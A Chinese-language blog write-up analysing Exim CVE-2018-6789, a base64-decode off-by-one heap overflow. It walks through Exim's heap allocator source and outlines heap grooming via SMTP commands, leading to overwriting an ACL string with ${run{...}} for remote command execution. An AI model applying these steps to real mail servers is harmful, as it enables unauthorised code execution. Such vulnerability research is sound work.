关闭
Hit
enter
to search or
ESC
to close
May I Suggest ?
#leanote #leanote blog #code #hello world
Mutepig's Blog
Home
Archives
Tags
Search
About Me
exim CVE-2018-6789 分析
无
343
0
0
mut3p1g
# 0x01 INSTALL 首先下载一下修复前的源码: ``` git clone https://github.com/Exim/exim.git git checkout 38e3d2dff7982736f1e6833e06d4aab4652f337a ``` 然后安装一些依赖: ``` apt install libdb-dev libpcre3-dev libssl-dev ``` 接着下载`makefile`文件,放到`src/Local`文件夹下 ``` wget "https://bugs.exim.org/attachment.cgi?id=1051" -O Makefile ``` 接着修改其134行,将用户改成运行`exim`的用户(不能是root) 然后直接安装就行了 ``` make -j8 && make install ``` 最后修改`/usr/exim/configure`364行 ``` accept hosts = : => accept hosts = * ``` 这样就安装完成了 # 0x02 EXIM HEAP `exim`实现了一个简单的堆管理机制,在`src/store.c`中,主要有下面几个函数,简单分析一下. ## 0. 一些名词 首先看一下完整的说明: ``` /* Exim gets and frees all its store through these functions. In the original implementation there was a lot of mallocing and freeing of small bits of store. The philosophy has now changed to a scheme which includes the concept of "stacking pools" of store. For the short-lived processes, there isn't any real need to do any garbage collection, but the stack concept allows quick resetting in places where this seems sensible. Obviously the long-running processes (the daemon, the queue runner, and eximon) must take care not to eat store. The following different types of store are recognized: . Long-lived, large blocks: This is implemented by retaining the original malloc/free functions, and it used for permanent working buffers and for getting blocks to cut up for the other types. . Long-lived, small blocks: This is used for blocks that have to survive until the process exits. It is implemented as a stacking pool (POOL_PERM). This is functionally the same as store_malloc(), except that the store can't be freed, but I expect it to be more efficient for handling small blocks. . Short-lived, short blocks: Most of the dynamic store falls into this category. It is implemented as a stacking pool (POOL_MAIN) which is reset after accepting a message when multiple messages are received by a single process. Resetting happens at some other times as well, usually fairly locally after some specific processing that needs working store. . There is a separate pool (POOL_SEARCH) that is used only for lookup storage. This means it can be freed when search_tidyup() is called to close down all the lookup caching. */ ``` 简单来说`exim`将一般的块分为下面三种: * 长时间生存,较大的块: 直接使用原来的`malloc`和`free`进行操作 * 长时间生存,较小的块:需要使用`POOL_PERM`,它不可被释放 * 短时间生存,较小的块:大部分动态的堆都属于这种情况,需要使用`POOL_MAIN` * 用于搜索的块: 需要使用`POOL_SEARCH` 其中在代码中出现的一些变量的具体含义: * storeblock: 我们直接用`malloc`和`free`进行操作的`chunk`,至少会分配`0x2000`字节。其结构如下: ``` typedef struct storeblock { struct storeblock *next; // 下一个block size_t length; // 大小 } storeblock; ``` * yield: 某`block`中剩余的存储空间 * pool : 通过上面集中进行分类 ``` enum { POOL_MAIN, POOL_PERM, POOL_SEARCH }; ``` ## 1. store_extend_3 这个函数主要参数有三个,`ptr`表示需要拓展的`block`,`oldsize`表示其原本大小,`newsize`表示拓展后需要的大小。 ``` /************************************************* * Extend a block if it is at the top * *************************************************/ /* While reading strings of unknown length, it is often the case that the string is being read into the block at the top of the stack. If it needs to be extended, it is more efficient just to extend the top block rather than allocate a new block and then have to copy the data. This function is provided for the use of string_cat(), but of course can be used elsewhere too. Arguments: ptr pointer to store block oldsize current size of the block, as requested by user newsize new size required filename source file from which called linenumber line number in source file Returns: TRUE if the block is at the top of the stack and has been extended; FALSE if it isn't at the top of the stack, or cannot be extended */ BOOL store_extend_3(void *ptr, int oldsize, int newsize, const char *filename, int linenumber) { int inc = newsize - oldsize; // 需要拓展的大小 int rounded_oldsize = oldsize; if (rounded_oldsize % alignment != 0) // 原大小是否对齐,没对其则需要对齐 rounded_oldsize += alignment - (rounded_oldsize % alignment); //#define CS (char *) if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) || inc > yield_length[store_pool] + rounded_oldsize - oldsize) return FALSE; /* Cut out the debugging stuff for utilities, but stop picky compilers from giving warnings. */ #ifdef COMPILE_UTILITY filename = filename; linenumber = linenumber; #else DEBUG(D_memory) { if (running_in_test_harness) debug_printf("---%d Ext %5d\n", store_pool, newsize); else debug_printf("---%d Ext %6p %5d %-14s %4d\n", store_pool, ptr, newsize, filename, linenumber); } #endif /* COMPILE_UTILITY */ if (newsize % alignment != 0) newsize += alignment - (newsize % alignment); // 将新的大小对齐 next_yield[store_pool] = CS ptr + newsize; // 剩下的块的起始地址 yield_length[store_pool] -= newsize - rounded_oldsize; // 剩下的块的大小 (void) VALGRIND_MAKE_MEM_UNDEFINED(ptr + oldsize, inc); return TRUE; } ``` ## 2. store_free_3 这里主要就调用了`free(block)`,其他的就是一些调试信息的记录。 ``` /************************************************ * Free store * ************************************************/ /* This function is called by the macro store_free(). Arguments: block block of store to free filename source file from which called linenumber line number in source file Returns: nothing */ void store_free_3(void *block, const char *filename, int linenumber) { #ifdef COMPILE_UTILITY filename = filename; linenumber = linenumber; #else DEBUG(D_memory) { if (running_in_test_harness) debug_printf("----Free\n"); else debug_printf("----Free %6p %-20s %4d\n", block, filename, linenumber); } #endif /* COMPILE_UTILITY */ free(block); } ``` ## 3. store_get_3 这个函数主要的参数也是`size`,如果没有足够的空间,则会申请一个调用`store_malloc`来申请一个新的`block`,并且会把它连接到`chainbase`尾部。 ``` /************************************************* * Get a block from the current pool * *************************************************/ /* Running out of store is a total disaster. This function is called via the macro store_get(). It passes back a block of store within the current big block, getting a new one if necessary. The address is saved in store_last_was_get. Arguments: size amount wanted filename source file from which called linenumber line number in source file. Returns: pointer to store (panic on malloc failure) */ void * store_get_3(int size, const char *filename, int linenumber) { /* Round up the size to a multiple of the alignment. Although this looks a messy statement, because "alignment" is a constant expression, the compiler can do a reasonable job of optimizing, especially if the value of "alignment" is a power of two. I checked this with -O2, and gcc did very well, compiling it to 4 instructions on a Sparc (alignment = 8). */ if (size % alignment != 0) size += alignment - (size % alignment); // 大小对齐 /* If there isn't room in the current block, get a new one. The minimum size is STORE_BLOCK_SIZE, and we would expect this to be the norm, since these functions are mostly called for small amounts of store. */ if (size > yield_length[store_pool]) // 如果当前block剩余大小不够了 { // STORE_BLOCK_SIZE=8192 int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size; int mlength = length + ALIGNED_SIZEOF_STOREBLOCK; storeblock * newblock = NULL; /* Sometimes store_reset() may leave a block for us; check if we can use it */ if ( (newblock = current_block[store_pool]) && (newblock = newblock->next) && newblock->length < length //查看下一个block是否能够满足分配的大小 ) { /* Give up on this block, because it's too small */ store_free(newblock); // 如果不行则将其释放 newblock = NULL; } /* If there was no free block, get a new one */ if (!newblock) // 如果一个block被释放了,则新申请一个blcok { pool_malloc += mlength; /* Used in pools */ nonpool_malloc -= mlength; /* Exclude from overall total */ newblock = store_malloc(mlength); newblock->next = NULL; newblock->length = length; if (!chainbase[store_pool]) chainbase[store_pool] = newblock; else current_block[store_pool]->next = newblock; } current_block[store_pool] = newblock; yield_length[store_pool] = newblock->length; next_yield[store_pool] = (void *)(CS current_block[store_pool] + ALIGNED_SIZEOF_STOREBLOCK); (void) VALGRIND_MAKE_MEM_NOACCESS(next_yield[store_pool], yield_length[store_pool]); } ``` ## 4. store_get_perm_3 调用`store_get_3`,从`POOL_PERM`中获取一个可用的空间来满足`size`大小的需求。 ``` /************************************************* * Get a block from the PERM pool * *************************************************/ /* This is just a convenience function, useful when just a single block is to be obtained. Arguments: size amount wanted filename source file from which called linenumber line number in source file. Returns: pointer to store (panic on malloc failure) */ void * store_get_perm_3(int size, const char *filename, int linenumber) { void *yield; int old_pool = store_pool; store_pool = POOL_PERM; yield = store_get_3(size, filename, linenumber); store_pool = old_pool; return yield; } ``` ## 5. store_malloc_3 这里主要就调用了`malloc(size)`,如果`size<16`那么置`size=16`,然后将`nonpool_malloc += size`,最后将`malloc`得到的指针返回。其他的就是一些调试信息的记录。 ``` /************************************************* * Malloc store * *************************************************/ /* Running out of store is a total disaster for exim. Some malloc functions do not run happily on very small sizes, nor do they document this fact. This function is called via the macro store_malloc(). Arguments: size amount of store wanted filename source file from which called linenumber line number in source file Returns: pointer to gotten store (panic on failure) */ void * store_malloc_3(int size, const char *filename, int linenumber) { void *yield; if (size < 16) size = 16; if (!(yield = malloc((size_t)size))) log_write(0, LOG_MAIN|LOG_PANIC_DIE, "failed to malloc %d bytes of memory: " "called from line %d of %s", size, linenumber, filename); nonpool_malloc += size; /* Cut out the debugging stuff for utilities, but stop picky compilers from giving warnings. */ #ifdef COMPILE_UTILITY filename = filename; linenumber = linenumber; #else /* If running in test harness, spend time making sure all the new store is not filled with zeros so as to catch problems. */ if (running_in_test_harness) { memset(yield, 0xF0, (size_t)size); DEBUG(D_memory) debug_printf("--Malloc %5d %d %d\n", size, pool_malloc, nonpool_malloc); } else { DEBUG(D_memory) debug_printf("--Malloc %6p %5d %-14s %4d %d %d\n", yield, size, filename, linenumber, pool_malloc, nonpool_malloc); } #endif /* COMPILE_UTILITY */ return yield; } ``` ## 6. store_newblock_3 新申请`newsize`的`block`,然后将原`block`的数据拷贝进去,同时将原`block`给释放掉 ``` /************************************************ * Move store * ************************************************/ /* Allocate a new block big enough to expend to the given size and copy the current data into it. Free the old one if possible. This function is specifically provided for use when reading very long strings, e.g. header lines. When the string gets longer than a complete block, it gets copied to a new block. It is helpful to free the old block iff the previous copy of the string is at its start, and therefore the only thing in it. Otherwise, for very long strings, dead store can pile up somewhat disastrously. This function checks that the pointer it is given is the first thing in a block, and that nothing has been allocated since. If so, releases that block. Arguments: block newsize len Returns: new location of data */ void * store_newblock_3(void * block, int newsize, int len, const char * filename, int linenumber) { BOOL release_ok = store_last_get[store_pool] == block; uschar * newtext = store_get(newsize); memcpy(newtext, block, len); if (release_ok) store_release_3(block, filename, linenumber); return (void *)newtext; } ``` ## 7. store_release_3 如果给定的指针是某个`block`最开始的部分,那么释放该`block` ``` /************************************************ * Release store * ************************************************/ /* This function checks that the pointer it is given is the first thing in a block, and if so, releases that block. Arguments: block block of store to consider filename source file from which called linenumber line number in source file Returns: nothing */ static void store_release_3(void * block, const char * filename, int linenumber) { storeblock * b; /* It will never be the first block, so no need to check that. */ for (b = chainbase[store_pool]; b; b = b->next) { storeblock * bb = b->next; if (bb && CS block == CS bb + ALIGNED_SIZEOF_STOREBLOCK) { b->next = bb->next; pool_malloc -= bb->length + ALIGNED_SIZEOF_STOREBLOCK; /* Cut out the debugging stuff for utilities, but stop picky compilers from giving warnings. */ #ifdef COMPILE_UTILITY filename = filename; linenumber = linenumber; #else DEBUG(D_memory) if (running_in_test_harness) debug_printf("-Release %d\n", pool_malloc); else debug_printf("-Release %6p %-20s %4d %d\n", (void *)bb, filename, linenumber, pool_malloc); if (running_in_test_harness) memset(bb, 0xF0, bb->length+ALIGNED_SIZEOF_STOREBLOCK); #endif /* COMPILE_UTILITY */ free(bb); return; } } } ``` ## 8. store_reset3 寻找`ptr`所在的`block`设置为`current_block`,接着除了一些特殊情况,否则将后面的`block`都释放掉。 ``` /************************************************* * Back up to a previous point on the stack * *************************************************/ /* This function resets the next pointer, freeing any subsequent whole blocks that are now unused. Normally it is given a pointer that was the yield of a call to store_get, and is therefore aligned, but it may be given an offset after such a pointer in order to release the end of a block and anything that follows. Arguments: ptr place to back up to filename source file from which called linenumber line number in source file Returns: nothing */ void store_reset_3(void *ptr, const char *filename, int linenumber) { storeblock * bb; storeblock * b = current_block[store_pool]; char * bc = CS b + ALIGNED_SIZEOF_STOREBLOCK; int newlength; /* Last store operation was not a get */ store_last_get[store_pool] = NULL; // 清空时,将最后一个block给清空 /* See if the place is in the current block - as it often will be. Otherwise, search for the block in which it lies. */ // 获取ptr的位置,一般都是current_block if (CS ptr < bc || CS ptr > bc + b->length) { for (b = chainbase[store_pool]; b; b = b->next) { bc = CS b + ALIGNED_SIZEOF_STOREBLOCK; if (CS ptr >= bc && CS ptr <= bc + b->length) break; } if (!b) log_write(0, LOG_MAIN|LOG_PANIC_DIE, "internal error: store_reset(%p) " "failed: pool=%d %-14s %4d", ptr, store_pool, filename, linenumber); } /* Back up, rounding to the alignment if necessary. When testing, flatten the released memory. */ newlength = bc + b->length - CS ptr; #ifndef COMPILE_UTILITY if (running_in_test_harness || debug_store) { assert_no_variables(ptr, newlength, filename, linenumber); if (running_in_test_harness) { (void) VALGRIND_MAKE_MEM_DEFINED(ptr, newlength); memset(ptr, 0xF0, newlength); } } #endif // 将空闲的yield对齐,同时将current_block设置为ptr所在的block (void) VALGRIND_MAKE_MEM_NOACCESS(ptr, newlength); yield_length[store_pool] = newlength - (newlength % alignment); next_yield[store_pool] = CS ptr + (newlength % alignment); current_block[store_pool] = b; /* Free any subsequent block. Do NOT free the first successor, if our current block has less than 256 bytes left. This should prevent us from flapping memory. However, keep this block only when it has the default size. */ if (yield_length[store_pool] < STOREPOOL_MIN_SIZE && b->next && b->next->length == STORE_BLOCK_SIZE) // 如果current_block大小小于256字节,而且下一个block大小正好等于0x2000即没有被使用,那么保留下一个block,否则也释放掉 { b = b->next; #ifndef COMPILE_UTILITY if (running_in_test_harness || debug_store) assert_no_variables(b, b->length + ALIGNED_SIZEOF_STOREBLOCK, filename, linenumber); #endif (void) VALGRIND_MAKE_MEM_NOACCESS(CS b + ALIGNED_SIZEOF_STOREBLOCK, b->length - ALIGNED_SIZEOF_STOREBLOCK); } // 将后面的block全都free掉 bb = b->next; b->next = NULL; while ((b = bb)) { #ifndef COMPILE_UTILITY if (running_in_test_harness || debug_store) assert_no_variables(b, b->length + ALIGNED_SIZEOF_STOREBLOCK, filename, linenumber); #endif bb = bb->next; pool_malloc -= b->length + ALIGNED_SIZEOF_STOREBLOCK; store_free_3(b, filename, linenumber); } /* Cut out the debugging stuff for utilities, but stop picky compilers from giving warnings. */ // 调试信息 #ifdef COMPILE_UTILITY filename = filename; linenumber = linenumber; #else DEBUG(D_memory) { if (running_in_test_harness) debug_printf("---%d Rst ** %d\n", store_pool, pool_malloc); else debug_printf("---%d Rst %6p ** %-14s %4d %d\n", store_pool, ptr, filename, linenumber, pool_malloc); } #endif /* COMPILE_UTILITY */ } ``` ## 9. meh总结 `exim`有个总的`chain_base`,用来记录每个`pool`中的`storeblock`;而`current_block`也是每个`pool`会有一个。 ![](https://leanote.com/api/file/getImage?fileId=5b0b7af0ab64411df20009da) # 0x03 exploit ## 1. 漏洞点分析 漏洞代码在这里: ``` int b64decode(const uschar *code, uschar **ptr) { int x, y; uschar *result = store_get(3*(Ustrlen(code)/4) + 1); *ptr = result; ``` 当我们构造需要解码的字符串长度如果不为`4n`,而是`4n+3`,那么堆会申请`3n+1`大小的堆,但是实际写入的时候会写入`3n+2`的数据,从而导致溢出了一个字节。 如果构造的`base64`字符串结尾有`=`出现的话,那么会额外添加一个0字节;否则就不会添加,这样构造的字符串就不会被0字节给截断了。 ## 2. 触发漏洞函数 调用漏洞点,同时构造一些堆块还需要一些其他函数,列举如下: ### 1) check_helo 在我们通过命令`HELO`或者`EHLO`后,会调用这个函数:如果`sender_helo_name`不为空,则将其释放,并且调用`malloc`一块空间将我们新的`smtp_cmd_data`拷贝进去。最后会将调用`reset`清空`block`,但是`sender_helo_name`由于是`malloc`出来的所以不会被影响。 ``` smtp_setup_msg: case HELO_CMD: HAD(SCH_HELO); hello = US"HELO"; esmtp = FALSE; goto HELO_EHLO; case EHLO_CMD: HAD(SCH_EHLO); hello = US"EHLO"; esmtp = TRUE; HELO_EHLO: /* Common code for HELO and EHLO */ cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE; cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE; /* Reject the HELO if its argument was invalid or non-existent. A successful check causes the argument to be saved in malloc store. */ if (!check_helo(smtp_cmd_data)) => static BOOL check_helo(uschar *s) { uschar *start = s; uschar *end = s + Ustrlen(s); BOOL yield = helo_accept_junk; /* Discard any previous helo name */ if (sender_helo_name != NULL) // 如果存在sender_helo_name,则将其释放掉 { store_free(sender_helo_name); sender_helo_name = NULL; } ...... /* Save argument if OK */ if (yield) sender_helo_name = string_copy_malloc(start); // 新分配一个堆,同时将内容拷贝进去 return yield; } uschar * string_copy_malloc(const uschar *s) { int len = Ustrlen(s) + 1; uschar *ss = store_malloc(len); memcpy(ss, s, len); return ss; } ``` 而在之后,还有几个会分配空间的地方: ``` if (!sender_host_unknown) { BOOL old_helo_verified = helo_verified; uschar *p = smtp_cmd_data; while (*p != 0 && !isspace(*p)) { *p = tolower(*p); p++; } *p = 0; /* Force a reverse lookup if HELO quoted something in helo_lookup_domains because otherwise the log can be confusing. */ if (sender_host_name == NULL && (deliver_domain = sender_helo_name, /* set $domain */ match_isinlist(sender_helo_name, CUSS &helo_lookup_domains, 0, &domainlist_anchor, NULL, MCL_DOMAIN, TRUE, NULL)) == OK) (void)host_name_lookup(); host_build_sender_fullhost(); /* Rebuild */ // 这里也会 => int match_isinlist(const uschar *s, const uschar **listptr, int sep, tree_node **anchorptr, unsigned int *cache_bits, int type, BOOL caseless, const uschar **valueptr) { unsigned int *local_cache_bits = cache_bits; check_string_block cb; cb.origsubject = s; cb.subject = caseless? string_copylc(s) : string_copy(s); // 这里会调用store_get_3(s),而s在这里就是sender_helo_name cb.expand_setup = (sep > UCHAR_MAX)? 0 : -1; cb.use_partial = TRUE; cb.caseless = caseless; cb.at_is_special = (type == MCL_DOMAIN || type == MCL_DOMAIN + MCL_NOEXPAND); if (valueptr != NULL) *valueptr = NULL; return match_check_list(listptr, sep, anchorptr, &local_cache_bits, check_string, &cb, type, s, valueptr); } ``` ### 2) unrecognized command 对于存在不可打印字符的命令,`exim`会对其进行转换,中间就会调用`store_get`来申请一块区域,大小为`(length*4+1)`,但是最小分配大小为`0x2020`。但是内容都是以`\`开头,所以是不可控的;不过好处是申请后不会自动被释放。 ``` smtp_setup_msg: .............. else done = synprot_error(L_smtp_syntax_error, 500, NULL, US"unrecognized command"); break; } => static int synprot_error(int type, int code, uschar *data, uschar *errmess) { int yield = -1; log_write(type, LOG_MAIN, "SMTP %s error in \"%s\" %s %s", (type == L_smtp_syntax_error)? "syntax" : "protocol", string_printing(smtp_cmd_buffer), host_and_ident(TRUE), errmess); if (++synprot_error_count > smtp_max_synprot_errors) { yield = 1; log_write(0, LOG_MAIN|LOG_REJECT, "SMTP call from %s dropped: too many " "syntax or protocol errors (last command was \"%s\")", host_and_ident(FALSE), string_printing(smtp_cmd_buffer)); } ............. => const uschar * string_printing2(const uschar *s, BOOL allow_tab) { int nonprintcount = 0; int length = 0; const uschar *t = s; uschar *ss, *tt; while (*t != 0) { int c = *t++; if (!mac_isprint(c) || (!allow_tab && c == '\t')) nonprintcount++; length++; } if (nonprintcount == 0) return s; /* Get a new block of store guaranteed big enough to hold the expanded string. */ ss = store_get(length + nonprintcount * 3 + 1); // 在这里分配新的空间 /* Copy everything, escaping non printers. */ t = s; tt = ss; while (*t != 0) { int c = *t; if (mac_isprint(c) && (allow_tab || c != '\t')) *tt++ = *t++; else { *tt++ = '\\'; switch (*t) { case '\n': *tt++ = 'n'; break; case '\r': *tt++ = 'r'; break; case '\b': *tt++ = 'b'; break; case '\v': *tt++ = 'v'; break; case '\f': *tt++ = 'f'; break; case '\t': *tt++ = 't'; break; default: sprintf(CS tt, "%03o", *t); tt += 3; break; } t++; } } *tt = 0; return ss; } ``` ### 3) AUTH `exim`在认证的时候基本上都使用`base64`编码来与客户端交互,并且编码前后的内容都是存在通过`store_get`分配的空间中,而且字符串中可以包含不可见字符、0字节,也不会被0字节给截断。 ### 4) reset 在`EHLO/HELO, MAIL, RCPT`命令成功执行后,会调用`smtp_reset`,而这个函数最后会调用`store_reset`来释放`store_get(0)`之后的`block`。 ``` int smtp_setup_msg(void) { int done = 0; BOOL toomany = FALSE; BOOL discarded = FALSE; BOOL last_was_rej_mail = FALSE; BOOL last_was_rcpt = FALSE; void *reset_point = store_get(0); DEBUG(D_receive) debug_printf("smtp_setup_msg entered\n"); /* Reset for start of new message. We allow one RSET not to be counted as a nonmail command, for those MTAs that insist on sending it between every message. Ditto for EHLO/HELO and for STARTTLS, to allow for going in and out of TLS between messages (an Exim client may do this if it has messages queued up for the host). Note: we do NOT reset AUTH at this point. */ smtp_reset(reset_point); => static void smtp_reset(void *reset_point) .... while (acl_warn_logged) { string_item *this = acl_warn_logged; acl_warn_logged = acl_warn_logged->next; store_free(this); } store_reset(reset_point); } ``` ## 3. 漏洞触发流程 ### 0) 整体思路 一般命令处理流程为:`exim`一般从`main`函数进入`daemon_go`函数,然后在这个函数中进行守护主进程。对于每个建立的连接都会调用`smtp_setup_msg`来单独进行处理,通过`smtp_read_command`来获取具体的命令,接着通过不同的命令进入不同的命令处理代码。 现在我们已经有`off_by_one`的漏洞点了,所以需要3个`chunk`。第一个用来触发`off_by_one`,第二个被用来修改`size`变大,第三个可以被第二个覆写头部。 所以现在我们需要一个可以控制内容的`chunk`,从而改写堆上的内容。 ### 1) 构造一个超大块,释放它使它变为`unsorted bin` 通过`EHLO`命令,就可以实现构造一个超大块,并且在最后将其释放,加入到`unsorted bin`中 ``` ehlo(s, "a"*0x1000) ``` 此时`unsorted bin`就是一整块 (q:从哪来的) ``` +=======+ sender_helo_name(0x1010) +=======+unsorted bin freed(0x6060) +=======+ ``` 然后再次调用 ``` ehlo(s, "a"*0x20) ``` 会将`sender_helo_name`释放,同时与`unsorted bin`合并,于是就变成了下面这样: ``` +=======+ sender_helo_name(0x31) +=======+unsorted bin freed(0x7041) +=======+ ``` ### 2) 切分`unsorted bin` 通过`unrecognized command`,可以来申请一个不会被释放的块,于是通过发送一长串不可打印的字符作为命令,就可以分配`0x2020`的空间了(q:0x700为啥可以,0x600却不行?) ``` docmd(s, "\xee"*0x700) ``` 此时就`unsorted bin`就变小了: ``` +=======+ 0x2020(inuse unrecognized command) +=======+unsorted bin freed +=======+ ``` ### 3) 申请`sender_helo_name` 我们可以再次通过`EHLO`来申请空间,这样就能从`unsorted bin`中分配了 ``` +=======+ 0x2020(inuse unrecognized command) +=======+ new sender_helo_name(0x2c10) +=======+unsorted bin freed +=======+ ``` ### 4) off by one 为了使可利用的空间尽可能大,所以将`sender_helo_name`的`size`最低位改成`f1`,这样只要`base64`解码出来的最低位为`f1`即可,所以我们只要输入`4n+xfE`即可,这样`exim`补位后得到的就是`xfE=`,解码出来的最低位就是`f1`。 ``` +=======+ 0x2050(base64 decode to off by one) 这里(n-0x18-1)必须是3的倍数才行 +=======+ new sender_helo_name(0x2cf1) --------- both in unsorted_bin & sender_helo_name +=======+unsorted bin freed +=======+ ``` ### 5) 构造合法块 由于现在我们修改了`sender_helo_name`的大小,所以它的下一块是非法的,那么需要调节其下一个的大小合法才能将它给释放。 那么可以继续构造一个`base64`解码,来构造下一个块的头部,从而通过检查。 ### 6) 释放`sender_helo_name` 现在需要将`sender_helo_name`释放,但是又不触发`reset`,否则我们构造的下一个块也就被释放同时一起合并了,这样之前的工作就白做了。 那么只要在最后加个`+`就可以了(q: 为啥???) ``` p.sendline("EHLO a+") ``` 现在存在的堆块结构就变成了这样: ``` +=======+ 0x2050(base64 decode to off by one) 这里必须要大于0x2020,否则在最后一步需要申请0x2020的时候会将这个块分配出去,而不是跳过 +=======+ unsorted bin freed(0x2cf1) --------- old unsorted bin +=======+ fake_chunk +=======+ ``` ### 7) 改写头部 通过`base64`可以写入自定义字符串,所以我们将原本的`sender_helo_name`写入`payload`,这样就可以控制一个块的头部了 然后利用`store_reset_3`中的这部分代码: ``` bb = b->next; b->next = NULL; while ((b = bb)) { #ifndef COMPILE_UTILITY if (running_in_test_harness || debug_store) assert_no_variables(b, b->length + ALIGNED_SIZEOF_STOREBLOCK, filename, linenumber); #endif bb = bb->next; pool_malloc -= b->length + ALIGNED_SIZEOF_STOREBLOCK; store_free_3(b, filename, linenumber); } ``` 它会将后面的块都给`free`掉,所以只要我们修改了`b->next`,那么就能将其释放掉,同时再次申请后就可以向里面写入值了 ### 8) 命令执行 现在已经有一个头部可控的`smallbin`了,那么问题就是如何进行命令执行 在每次认证的时候都会调用`auth_gsasl_server`,而这里面会对`acl_smtp_vrfy`的每个配置信息进行检查,在检查的过程中会调用`expand_string`。 而在`expand_string`这个函数,如果其参数为`${run{cmd}`,那么则会执行`cmd`,所以如果能将`acl`的参数进行修改,那么就能够执行命令了。 而配置信息的具体内容是存在堆上面的: ``` pwndbg> x/18gx &acl_smtp_vrfy 0x6bf328 <acl_smtp_vrfy>: 0x0000000000000000 0x0000000000000000 0x6bf338 <acl_smtp_rcpt>: 0x0000000000000000 0x0000000000000000 0x6bf348 <acl_smtp_predata>: 0x0000000000000000 0x0000000000000000 0x6bf358 <acl_smtp_mailauth>: 0x0000000000000000 0x0000000001504508 0x6bf368 <acl_smtp_helo>: 0x0000000000000000 0x0000000000000000 0x6bf378 <acl_smtp_etrn>: 0x0000000000000000 0x0000000001504518 0x6bf388 <acl_smtp_connect>: 0x0000000000000000 0x0000000000000000 0x6bf398 <acl_removed_headers>: 0x0000000000000000 0x0000000000000000 0x6bf3a8 <acl_not_smtp>: 0x0000000000000000 0x0000000000000000 pwndbg> x /10s 0x0000000001504508 0x1504508: "acl_check_mail" ``` 所以可以将`smallbin`的`fd`修改成配置信息的位置,那么再次分配一块空间就可以对配置信息修改了,最后调用认证函数就可以执行命令。
觉得不错,点个赞?
提交评论
Sign in
to leave a comment.
No Leanote account ?
Sign up now
.
0
条评论
More...
文章目录
No Leanote account ? Sign up now.